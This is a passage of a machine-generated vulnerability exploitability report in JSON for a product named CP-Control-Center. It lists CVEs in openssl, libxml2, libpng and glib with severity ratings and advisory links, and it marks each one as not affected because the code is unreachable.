"https://bugzilla.redhat.com/show_bug.cgi?id=2380274" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380278" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380280" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380283" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380284" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380290" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380291" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380295" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380298" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380306" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380308" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380309" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380310" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380312" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380313" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380320" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380321" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380322" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380326" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380327" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380334" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380335" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-13176" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21574" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21575" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21577" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21579" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21580" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21581" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21584" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21585" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21588" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30681" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30682" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30683" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30684" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30685" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30687" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30688" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30689" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30693" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30695" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30696" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30699" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30703" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30704" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30705" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30715" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30721" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30722" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50077" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50078" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50079" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50080" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50081" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50082" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50083" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50084" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50085" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50086" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50087" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50088" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50091" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50092" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50093" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50094" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50096" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50097" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50098" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50099" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50100" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50101" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50102" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50104" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-5399" }, { "url": "https://errata.almalinux.org/9/ALSA-2025-16046.html" }, { "url": "https://errata.rockylinux.org/RLSA-2025:15699" }, { "url": "https://github.com/advisories/GHSA-r9fv-h47r-823f" }, { "url": "https://github.com/openssl/openssl/commit/07272b05b04836a762b4baa874958af51d513844" }, { "url": "https://github.com/openssl/openssl/commit/2af62e74fb59bc469506bc37eb2990ea408d9467" }, { "url": "https://github.com/openssl/openssl/commit/392dcb336405a0c94486aa6655057f59fd3a0902" }, { "url": "https://github.com/openssl/openssl/commit/4b1cb94a734a7d4ec363ac0a215a25c181e11f65" }, { "url": "https://github.com/openssl/openssl/commit/77c608f4c8857e63e98e66444e2e761c9627916f" }, { "url": "https://github.openssl.org/openssl/extended-releases/commit/0d5fd1ab987f7571e2c955d8d8b638fc0fb54ded" }, { "url": "https://github.openssl.org/openssl/extended-releases/commit/a2639000db19878d5d89586ae7b725080592ae86" }, { "url": "https://linux.oracle.com/cve/CVE-2024-13176.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2025-16046.html" }, { "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00028.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13176" }, { "url": "https://openssl-library.org/news/secadv/20250120.txt" }, { "url": "https://security.netapp.com/advisory/ntap-20250124-0005" }, { "url": "https://security.netapp.com/advisory/ntap-20250124-0005/" }, { "url": "https://security.netapp.com/advisory/ntap-20250418-0010" }, { "url": "https://security.netapp.com/advisory/ntap-20250418-0010/" }, { "url": "https://security.netapp.com/advisory/ntap-20250502-0006" }, { "url": "https://security.netapp.com/advisory/ntap-20250502-0006/" }, { "url": "https://ubuntu.com/security/notices/USN-7264-1" }, { "url": "https://ubuntu.com/security/notices/USN-7278-1" }, { "url": "https://ubuntu.com/security/notices/USN-7894-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2024-13176" }, { "url": "https://www.oracle.com/security-alerts/cpuapr2025.html#AppendixMSQL" } ], "published": "2025-01-20T14:15:26+00:00", "updated": "2026-06-17T07:01:23+00:00", "affects": [ { "ref": "pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1", "versions": [ { "version": "1:3.5.5-4.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2024-41996", "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.9, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 295 ], "description": "Validating the order of the public keys in the Diffie-Hellman Key Agreement Protocol, when an approved safe prime is used, allows remote attackers (from the client side) to trigger unnecessarily expensive server-side DHE modular-exponentiation calculations. The client may cause asymmetric resource consumption. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE and validate the order of the public key.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2024-41996" }, { "url": "https://access.redhat.com/security/cve/CVE-2024-41996" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-089022.html" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-485750.html" }, { "url": "https://dheatattack.gitlab.io/details/" }, { "url": "https://dheatattack.gitlab.io/faq/" }, { "url": "https://gist.github.com/c0r0n3r/abccc14d4d96c0442f3a77fa5ca255d1" }, { "url": "https://github.com/openssl/openssl/issues/17374" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41996" }, { "url": "https://openssl-library.org/post/2022-10-21-tls-groups-configuration/" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2024-41996" } ], "published": "2024-08-26T06:15:04+00:00", "updated": "2026-06-17T07:48:36+00:00", "affects": [ { "ref": "pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1", "versions": [ { "version": "1:3.5.5-4.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2025-27113", "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "bitnami" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "cbl-mariner" }, "severity": "low" }, { "source": { "name": "julia" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 3.1, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 476 ], "description": "libxml2 before 2.12.10 and 2.13.x before 2.13.6 has a NULL pointer dereference in xmlPatMatch in pattern.c.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2025-27113" }, { "url": "http://seclists.org/fulldisclosure/2025/Apr/10" }, { "url": "http://seclists.org/fulldisclosure/2025/Apr/11" }, { "url": "http://seclists.org/fulldisclosure/2025/Apr/12" }, { "url": "http://seclists.org/fulldisclosure/2025/Apr/13" }, { "url": "http://seclists.org/fulldisclosure/2025/Apr/4" }, { "url": "http://seclists.org/fulldisclosure/2025/Apr/5" }, { "url": "http://seclists.org/fulldisclosure/2025/Apr/8" }, { "url": "http://seclists.org/fulldisclosure/2025/Apr/9" }, { "url": "https://access.redhat.com/security/cve/CVE-2025-27113" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/861" }, { "url": "https://lists.debian.org/debian-lts-announce/2025/02/msg00028.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27113" }, { "url": "https://security.netapp.com/advisory/ntap-20250306-0004/" }, { "url": "https://ubuntu.com/security/notices/USN-7302-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2025-27113" }, { "url": "https://www.openwall.com/lists/oss-security/2025/02/18/2" } ], "published": "2025-02-18T23:15:10+00:00", "updated": "2026-06-17T09:03:03+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.9.13-14.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2025-28164", "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 5.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 401, 120 ], "description": "Buffer Overflow vulnerability in libpng 1.6.43-1.6.46 allows a local attacker to cause a denial of service via png_create_read_struct() function.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2025-28164" }, { "url": "https://access.redhat.com/security/cve/CVE-2025-28164" }, { "url": "https://gist.github.com/kittener/506516f8c22178005b4379c8b2a7de20" }, { "url": "https://github.com/pnggroup/libpng/issues/655" }, { "url": "https://github.com/pnggroup/libpng/pull/657" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28164" }, { "url": "https://ubuntu.com/security/notices/USN-7993-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2025-28164" } ], "published": "2026-01-27T16:16:14+00:00", "updated": "2026-06-17T09:04:37+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libpng@1.6.37-15.el9_8.2?arch=x86_64&distro=redhat-9.8&epoch=2", "versions": [ { "version": "2:1.6.37-15.el9_8.2", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libpng@1.6.37-15.el9_8.2?arch=x86_64&distro=redhat-9.8&epoch=2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2025-3360", "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "cbl-mariner" }, "severity": "low" }, { "source": { "name": "redhat" }, "score": 3.7, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 190 ], "description": "A flaw was found in GLib. An integer overflow and buffer under-read occur when parsing a long invalid ISO 8601 timestamp with the g_date_time_new_from_iso8601() function.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2025-3360" }, { "url": "https://access.redhat.com/security/cve/CVE-2025-3360" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2357754" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3647" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/work_items/3647" }, { "url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00024.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3360" }, { "url": "https://ubuntu.com/security/notices/USN-7942-1" }, { "url": "https://ubuntu.com/security/notices/USN-7942-2" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2025-3360" } ], "published": "2025-04-07T13:15:43+00:00", "updated": "2026-06-30T15:16:50+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2025-6170", "ratings": [ { "source": { "name": "alma" }, "severity": "low" }, { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "cbl-mariner" }, "severity": "low" }, { "source": { "name": "nvd" }, "score": 2.5, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "source": { "name": "oracle-oval" }, "severity": "low" }, { "source": { "name": "photon" }, "severity": "low" }, { "source": { "name": "redhat" }, "score": 2.5, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "source": { "name": "rocky" }, "severity": "low" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 121 ], "description": "A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare configurations without modern protections.", "recommendation": "Upgrade libxml2 to version 2.9.13-14.el9_8.2", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2025-6170" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36734" }, { "url": "https://access.redhat.com/errata/RHSA-2026:39304" }, { "url": "https://access.redhat.com/errata/RHSA-2026:39317" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44481" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46836" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53371" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/errata/RHSA-2026:7519" }, { "url": "https://access.redhat.com/security/cve/CVE-2025-6170" }, { "url": "https://bugzilla.redhat.com/2372952" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2372952" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-253495.html" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-6170" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-39317.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:39317" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/941" }, { "url": "https://linux.oracle.com/cve/CVE-2025-6170.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-39317.html" }, { "url": "https://lists.debian.org/debian-lts-announce/2025/07/msg00014.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6170" }, { "url": "https://ubuntu.com/security/notices/USN-7694-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2025-6170" } ], "published": "2025-06-16T16:15:20+00:00", "updated": "2026-09-01T13:18:04+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.9.13-14.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2025-64505", "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "cbl-mariner" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 6.1, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 4.4, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 125 ], "description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. Prior to version 1.6.51, a heap buffer over-read vulnerability exists in libpng's png_do_quantize function when processing PNG files with malformed palette indices. The vulnerability occurs when palette_lookup array bounds are not validated against externally-supplied image data, allowing an attacker to craft a PNG file with out-of-range palette indices that trigger out-of-bounds memory access. This issue has been patched in version 1.6.51.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2025-64505" }, { "url": "https://access.redhat.com/security/cve/CVE-2025-64505" }, { "url": "https://github.com/pnggroup/libpng/commit/6a528eb5fd0dd7f6de1c39d30de0e41473431c37" }, { "url": "https://github.com/pnggroup/libpng/commit/6a528eb5fd0dd7f6de1c39d30de0e41473431c37%20%28v1.6.51%29" }, { "url": "https://github.com/pnggroup/libpng/pull/748" }, { "url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-4952-h5wq-4m42" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64505" }, { "url": "https://ubuntu.com/security/notices/USN-7924-1" }, { "url": "https://ubuntu.com/security/notices/USN-8081-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2025-64505" }, { "url": "https://www.openwall.com/lists/oss-security/2025/11/22/1" } ], "published": "2025-11-25T00:15:47+00:00", "updated": "2026-06-17T09:54:28+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libpng@1.6.37-15.el9_8.2?arch=x86_64&distro=redhat-9.8&epoch=2", "versions": [ { "version": "2:1.6.37-15.el9_8.2", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libpng@1.6.37-15.el9_8.2?arch=x86_64&distro=redhat-9.8&epoch=2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2025-64506", "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "cbl-mariner" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 6.1, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 6.1, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 125 ], "description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From version 1.6.0 to before 1.6.51, a heap buffer over-read vulnerability exists in libpng's png_write_image_8bit function when processing 8-bit images through the simplified write API with convert_to_8bit enabled. The vulnerability affects 8-bit grayscale+alpha, RGB/RGBA, and images with incomplete row data. A conditional guard incorrectly allows 8-bit input to enter code expecting 16-bit input, causing reads up to 2 bytes beyond allocated buffer boundaries. This issue has been patched in version 1.6.51.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2025-64506" }, { "url": "https://access.redhat.com/security/cve/CVE-2025-64506" }, { "url": "https://github.com/pnggroup/libpng/commit/2bd84c019c300b78e811743fbcddb67c9d9bf821" }, { "url": "https://github.com/pnggroup/libpng/commit/2bd84c019c300b78e811743fbcddb67c9d9bf821%20%28v1.6.51%29" }, { "url": "https://github.com/pnggroup/libpng/pull/749" }, { "url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-qpr4-xm66-hww6" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64506" }, { "url": "https://ubuntu.com/security/notices/USN-7924-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2025-64506" }, { "url": "https://www.openwall.com/lists/oss-security/2025/11/22/1" } ], "published": "2025-11-25T00:15:47+00:00", "updated": "2026-06-17T09:54:28+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libpng@1.6.37-15.el9_8.2?arch=x86_64&distro=redhat-9.8&epoch=2", "versions": [ { "version": "2:1.6.37-15.el9_8.2", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libpng@1.6.37-15.el9_8.2?arch=x86_64&distro=redhat-9.8&epoch=2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2025-7039", "ratings": [ { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "cbl-mariner" }, "severity": "low" }, { "source": { "name": "redhat" }, "score": 3.7, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 22 ], "description": "A flaw was found in glib. An integer overflow during temporary file creation leads to an out-of-bounds memory access, allowing an attacker to potentially perform path traversal or access private temporary file content by creating symbolic links. This vulnerability allows a local attacker to manipulate file paths and access unauthorized data. The core issue stems from insufficient validation of file path lengths during temporary file operations.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2025-7039" }, { "url": "https://access.redhat.com/security/cve/CVE-2025-7039" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2392423" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-253495.html" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3716" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7039" }, { "url": "https://ubuntu.com/security/notices/USN-7942-1" }, { "url": "https://ubuntu.com/security/notices/USN-7942-2" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2025-7039" } ], "published": "2025-09-03T02:15:38+00:00", "updated": "2026-06-17T10:04:08+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2025-9232", "ratings": [ { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 5.9, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 3.1, "severity": "low", "method": "CVSSv31", "vector": 